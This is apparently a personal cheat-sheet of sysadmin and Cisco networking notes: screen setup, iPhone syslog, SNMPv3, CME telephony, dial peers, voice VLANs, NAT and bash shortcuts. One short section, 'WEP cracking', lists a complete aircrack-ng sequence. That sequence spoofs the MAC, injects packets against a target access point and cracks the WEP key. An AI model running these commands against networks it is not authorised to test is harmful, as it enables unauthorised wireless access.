# Multiple terminals with screen

Multiple terminals
# cat multiple_terminals.screen
bindkey -k k5 focus up # Previous region
bindkey -k k6 focus down # Next region
bindkey -k kP copy # Scrollback on (up)
bindkey -k kN copy # Scrollback on (down)
bindkey "^[" quit # ESC to quit

defscrollback 10000

split
split
split

screen -t Terminal-0 tail -f /var/log/syslog
focus down

screen -t Terminal-1 tail -f /var/log/messages
focus down

screen -t Terminal-2 tail -f /var/log/auth.log
focus down

screen -t Terminal-3 tail -f /var/log/error
focus top
# screen -S screen_tail -c multiple_terminals.screen

Some key bindings

Ctrl+a \ (quit) Kill all windows and terminate screen
Ctrl+a tab (focus) Switch the input focus to the next region
Ctrl+a n (next) Switch to the next window
Ctrl+a p (prev) witch to the previous window
Ctrl+a w (windows) Show a list of window
Ctrl+a [ (copy) Enter copy/scrollback mode
Ctrl+a ] (paste) Write the contents of the paste buffer to the stdin queue of the current window
Ctrl+a ? (help) Show key bindings

More information
# man screen

# Syslog on iPhone

/var/log/syslog
# echo "*.* /var/log/syslog" > /etc/syslog.conf
# cd /System/Library/LaunchDaemons
# plutil -convert xml1 com.apple.syslogd.plist
# sed -i '/<string>\/usr\/sbin\/syslogd<\/string>/ a \
> \t\t<string>-bsd_out</string>\n\t\t<string>1</string>' com.apple.syslogd.plist.backup
# plutil -convert binary1 com.apple.syslogd.plist
# reboot
# tail -f /var/log/syslog
Socat
# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
> help
> watch

# SNMPv3 configuration

IOS configuration
Router(config)# ip access-list standard SNMP_MANAGERS
Router(config-std-nacl)# permit host 192.168.1.100
Router(config-std-nacl)# permit host 192.168.1.101
Router(config)# snmp-server view READ_VIEW iso included
Router(config)# snmp-server group READ_GROUP v3 priv read READ_VIEW access SNMP:MANAGERS
Router(config)# snmp-server user SNMPv3_USER READ_GROUP v3 auth md5 MD5_auth_KEY priv des DES_priv_KEY
Check
# snmpwalk -v 3 -u SNMPv3_USER -l authPriv -a md5 -A MD5_auth_KEY -x des -X DES_priv_KEY 192.168.50.1 .1

# Telephony Features

Configuring a Voice Network Directory
CME(config)# ephone-dn 20
CME(config-ephone-dn)# name Joshua Bellman
CME(config)# ephone-dn 21
CME(config-ephone-dn)# name Ruth Hopper
CME(config)# ephone-dn 22
CME(config-ephone-dn)# name Esther Billford
CME(config)# ephone-dn 23
CME(config-ephone-dn)# name Job Smith
CME(config)# ephone-dn 24
CME(config-ephone-dn)# name Samuel Oldham
CME(config-telephony)# directory last-name-first
CME(config-telephony)# directory entry 1 1599 name Fax Corporate
Forwarding Calls
CME(config)# ephone-dn 21
CME(config-ephone-dn)# call-forward max-length 4
CME(config-ephone-dn)# call-forward busy 1599
CME(config-ephone-dn)# call-forward noan 1599 timeout 25
CME(config-telephony)# call-forward pattern 15.. ! H.450.3 support
Configuring Call Transfer
CME(config-telephony)# transfer-system full-consult
CME(config-telephony)# transfer-pattern 5...
CME(config-telephony)# transfer-pattern 9..........
Configuring Call Park
CME(config)# ephone-dn 50
CME(config-ephone-dn)# number 3001
CME(config-ephone-dn)# name Maintenance
CME(config-ephone-dn)# park-slot
Configuring Call Pickup
CME(config)# ephone-dn 1
CME(config-ephone-dn)# pickup-group 5509
CME(config)# ephone-dn 2
CME(config-ephone-dn)# pickup-group 5509
Configuring Intercom
CME(config)# ephone-dn 60
CME(config-ephone-dn)# number A100
CME(config-ephone-dn)# intercom A101 label “Manager”
CME(config)# ephone-dn 61
CME(config-ephone-dn)# number A101
CME(config-ephone-dn)# intercom A100 label “Assistant”
CME(config)# ephone 1
CME(config-ephone)# button 2:60
CME(config-ephone)# restart
CME(config)# ephone 2
CME(config-ephone)# button 2:61
CME(config-ephone)# restart
Configuring Paging
CME(config)# ephone-dn 80
CME(config-ephone-dn)# number 5555
CME(config-ephone-dn)# paging
CME(config)# ephone-dn 81
CME(config-ephone-dn)# paging ip 239.1.1.100 port 2000
CME(config)# ephone 1
CME(config-ephone)# paging-dn 80
CME(config)# ephone 2
CME(config-ephone)# paging-dn 80
Configuring After-Hours Call Blocking
CME(config-telephony)# after-hours day mon 17:00 8:00
CME(config-telephony)# after-hours day tue 17:00 8:00
CME(config-telephony)# after-hours day wed 17:00 8:00
CME(config-telephony)# after-hours day thu 17:00 8:00
CME(config-telephony)# after-hours day fri 17:00 8:00
CME(config-telephony)# after-hours date dec 25 00:00 00:00
CME(config-telephony)# after-hours date jan 1 00:00 00:00
CME(config-telephony)# after-hours block pattern 1 91..........
CME(config-telephony)# after-hours block pattern 2 9011T
CME(config-telephony)# after-hours block pattern 3 91900....... 7-24
CME(config)# ephone 1
CME(config-ephone)# after-hour exempt
CME(config)# ephone 2
CME(config-ephone)# pin 1234
CME(config-telephony)# login timeout 120 clear 23:00
Configuring Call Detail Records (CDR) and Call Accounting
CME(config)# logging buffered 512000
CME(config)# dial-control-mib retain-timer 10080
CME(config)# dial-control-mib max-size 700
CME(config)# gw-accounting syslog
CME(config)# logging 172.30.100.101
Configuring Music on Hold (MoH)
CME(config-telephony)# moh ludovico_einaudi.wav
CME(config-telephony)# multicast moh 239.1.1.55 port 2123
Configuring Single Number Reach (SNR)
CME(config)# ephone-dn 2 dual-line
CME(config-ephone)# snr 12345556789 delay 8 timeout 30 cfwd-noan 2000
CME(config-ephone)# mobility

# Class of Restriction (COR) lists

Two rules

Rule 1: If there is no outgoing COR list applied, the call is always routed.
Rule 2: If there is no incoming COR list applied, the call is always routed.

Defining COR List Tags
CME(config)# dial-peer cor custom
CME(config-dp-cor)# name 911
CME(config-dp-cor)# name LOCAL
CME(config-dp-cor)# name LD

Creating Outgoing COR Lists
CME(config)# dial-peer cor list 911-CALL
CME(config-dp-corlist)# member 911
CME(config)# dial-peer cor list LOCAL-CALL
CME(config-dp-corlist)# member LOCAL
CME(config)# dial-peer cor list LD-CALL
CME(config-dp-corlist)# member LD

Creating Incoming COR Lists
CME(config)# dial-peer cor list 911-ONLY
CME(config-dp-corlist)# member 911
CME(config)# dial-peer cor list 911-LOCAL
CME(config-dp-corlist)# member 911
CME(config-dp-corlist)# member LOCAL
CME(config)# dial-peer cor list 911-LOCAL-LD
CME(config-dp-corlist)# member 911
CME(config-dp-corlist)# member LOCAL
CME(config-dp-corlist)# member LD

Assigning Outbound and Inbound COR Lists
CME(config)# dial-peer voice 10 pots
CME(config-dial-peer)# corlist outgoing 911-CALL
CME(config)# dial-peer voice 11 pots
CME(config-dial-peer)# corlist outgoing LOCAL-CALL
CME(config)# dial-peer voice 12 pots
CME(config-dial-peer)# corlist outgoing LD-CALL
CME(config)# ephone-dn 1
CME(config-ephone-dn)# corlist incoming 911-ONLY
CME(config)# ephone-dn 2
CME(config-ephone-dn)# corlist incoming 911-LOCAL
CME(config)# ephone-dn 3
CME(config-ephone-dn)# corlist incoming 911-LOCAL-LD

# Configuring dial peers

POTS Dial Peers
CME_A(config)# dial-peer voice 1101 pots
CME_A(config-dial-peer)# destination-pattern 1101
CME_A(config-dial-peer)# port 0/0/0 FXS Port
CME_A(config)# dial-peer voice 1102 pots
CME_A(config-dial-peer)# destination-pattern 1102
CME_A(config-dial-peer)# port 0/0/1 ! FXS Port
CME_B(config)# dial-peer voice 2000 pots
CME_B(config-dial-peer)# destination-pattern 2...
CME_B(config-dial-peer)# no digit-strip
CME_B(config-dial-peer)# port 1/0:23 ! T1 Interface
Configuring VoIP Dial Peers
CME_A(config)# dial-peer voice 2000 voip
CME_A(config-dial-peer)# destination-pattern 2...
CME_A(config-dial-peer)# session target ipv4:10.1.1.2
CME_A(config-dial-peer)# codec g711ulaw
CME_B(config)# dial-peer voice 1100 voip
CME_B(config-dial-peer)# destination-pattern 110.
CME_B(config-dial-peer)# session target ipv4:10.1.1.1
CME_B(config-dial-peer)# codec g711ulaw

# Configuring physical voice ports

Configuring FXS Voice Port (Analog port)

Typically used when connecting to analog devices, such as telephones, fax machines, and modems.
CME(config)# voice-port 0/0/0
CME(config-voiceport)# signal loopStart
CME(config-voiceport)# cptone ES
CME(config-voiceport)# station-id name 3rd Floor Fax
CME(config-voiceport)# station-id number 5551000
Configuring FXO Voice Port (Analog port)

Typically used when connecting to PBX equipment.
CME(config)# voice-port 0/0/1
CME(config-voiceport)# signal groundStart
CME(config-voiceport)# cptone ES
CME(config-voiceport)# station-id name PBX System
CME(config-voiceport)# dial-type dtmf
CME(config-voiceport)# ring number 1
Configuring a T1 CAS PSTN Interface (Digital port)
CME(config)# controller t1 1/0
CME(config-controller)# framing esf
CME(config-controller)# linecode b8zs
CME(config-controller)# clock source line
CME(config-controller)# ds0-group 1 timeslots 1-24 type fxo-loop-start
Configuring a T1 CCS PSTN Interface (Digital port)
CME(config)# isdn switch-type primary-5ess
CME(config)# controller t1 1/0
CME(config-controller)# pri-group timeslots 1-24

# Ephones and Directory Numbers

Provisioning CME Phone and Directory Number Support
Router(config)# hostname CME
CME(config)# telephony-service
CME(config-telephony)# ip source-address 172.16.1.1
CME(config-telephony)# max-ephones 24
CME(config-telephony)# max-dn 48
Configuring ephone-dn
CME(config)# ephone-dn 1
CME(config-ephone-dn)# number 1000
CME(config)# ephone-dn 2 dual-line
CME(config-ephone-dn)# number 1001
Creating an Ephone
CME(config)# ephone 1
CME(config-ephone)# mac-address 1122.3344.5566
CME(config-ephone)# button 1:2
CME(config-ephone)# button 2:1
CME(config-ephone)# restart ! Unregister and register again

# WEP cracking

Commands
# airmon-ng
# airmon-ng start wlan0
# ifconfig mon0 down
# macchanger --mac=de:ad:de:ad:de:ad mon0
# ifconfig mon0 up
# airodump-ng --write wlan --output-format pcap --channel 1 --encrypt WEP mon0
# aireplay-ng -1 30 -e WLAN_XX -a 11:22:33:44:55:66 -h de:ad:de:ad:de:ad mon0
# aireplay-ng -3 -b 11:22:33:44:55:66 -h de:ad:de:ad:de:ad mon0 # (need more than 20.000 IVs)
# aircrack-ng wlan-*.cap

# Voice VLAN configuration

Switch configuration
Switch(config)# vlan 10
Switch(config-vlan)# name VOICE
Switch(config)# !
Switch(config)# vlan 50
Switch(config-vlan)# name DATA
Switch(config)# !
Switch(config)# interface range fa0/10 - 20
Switch(config-if-range)# switchport mode access
Switch(config-if-range)# spanning-tree portfast
Switch(config-if-range)# switchport access vlan 50
Switch(config-if-range)# switchport voice vlan 10
Switch(config-if-range)# power inline auto
DHCP configuration
Router(config)# service dhcp
Router(config)# ip dhcp excluded-address 172.16.1.1 172.16.1.9
Router(config)# ip dhcp excluded-address 172.16.2.1 172.16.2.9
Router(config)# !
Router(config)# ip dhcp pool DATA_SCOPE
Router(dhcp-config)# network 172.16.2.0 255.255.255.0
Router(dhcp-config)# default-router 172.16.2.1
Router(dhcp-config)# dns-server 172.16.10.1
Router(config)# !
Router(config)# ip dhcp pool VOICE_SCOPE
Router(dhcp-config)# network 172.16.1.0 255.255.255.0
Router(dhcp-config)# default-router 172.16.1.1
Router(dhcp-config)# option 150 ip 172.16.1.1
Router(dhcp-config)# option 60 ascii tftp.lab.net ! For some third-party SIP phones
Router(dhcp-config)# dns-server 172.16.10.1
NTP configuration
Router(config)# clock timezone CET 1
Router(config)# clock summer-time CET recurring last Sun Mar 2:00 last Sun Oct 3:00
Router(config)# ntp update-calendar
Router(config)# ntp server 172.16.20.1
TFTP configuration
Router(config)# tftp-server flash:/phone/7940-7960/P00308000500.bin alias P00308000500.bin
Router(config)# tftp-server flash:/phone/7940-7960/P00308000500.loads alias P00308000500.loads

# DNS iterative queries

Queries
# dig @a.root-servers.net. -q www.s21sec.com. -t A +norecurse
# dig @a.gtld-servers.net. -q www.s21sec.com. -t A +norecurse
# dig @ns1.s21sec.com.     -q www.s21sec.com. -t A +norecurse
#
# dig -q www.s21sec.com. -t A +trace

# Cisco static NAT based on destination

Introduction

The 192.168.1.1 source IP address is translated to 192.168.2.1 if the destination is 192.168.2.2, but if the destination is 192.168.3.3, the source IP address is translated to 192.168.3.1.

Configuration
Router(config)# int fa0/1
Router(config-if)# ip nat inside
Router(config)# int fa0/0
Router(config-if)# ip nat outside
Router(config)# !
Router(config)# ip nat inside source static 192.168.1.1 192.168.2.1 route-map myRM1
Router(config)# ip nat inside source static 192.168.1.1 192.168.3.1 route-map myRM2
Router(config)# !
Router(config)# access-list 102 permit ip host 192.168.1.1 host 192.168.2.2
Router(config)# access-list 103 permit ip host 192.168.1.1 host 192.168.3.3
Router(config)# !
Router(config)# route-map myRM1 permit 10
Router(config-route-map)# match ip address 102
Router(config)# route-map myRM2 permit 10
Router(config-route-map)# match ip address 103

# Bash keyboard shortcuts

Introduction

man readline

Checks

Check your editing mode
# set -o | egrep '^vi | ^emacs'
Check your current key bindings:
# bind -p | grep  \[CM]
Shorcuts

Ctrl+a: Move to the start of the current line
Ctrl+e: Move to the end of the current line
Ctrl+f: Move forward a character
Ctrl+b: Move back a character
Esc f: Move forward to the next word
Esc b: Move back to the previous word
Ctrl+l: Clear the screen leaving the current line
Ctrl+p: Fetch the previous command from the history list
Ctrl+n: Fetch the next command from the history list
Esc <: Move to the first line in the history
Esc >: Move to the line currently being entered
Ctrl+r: Search backward starting at the current line and moving up (Ctrl+r)
Esc #arg Esc Ctrl+y: Insert #arg to the previous command
Esc .: Insert the last argument to the previous command
Ctrl+d: Delete the character at point
Ctrl+t: Transpose characters
Esc t: Transpose words
Esc u: Uppercase the current word
Esc l: Lowercase the current word
Esc c: Capitalize the current word
Ctrl+k: Kill the text from point to the end of the line
Ctrl+u: Kill the text from point to the beginning of the line
Esc d: Kill from point to the end of the current word
Ctrl+w: Kill the word behind point
Ctrl+y: Yank the top of the kill ring
Esc y: Rotate the kill ring
Ctrl+_: Incremental undo, separately remembered for each line
Esc r: Undo all changes made to this line
Ctrl+]: Search forward a character
Esc Ctrl+]: Search backward a character
Esc #: Insert a comment
Esc #arg character: Insert #arg times the character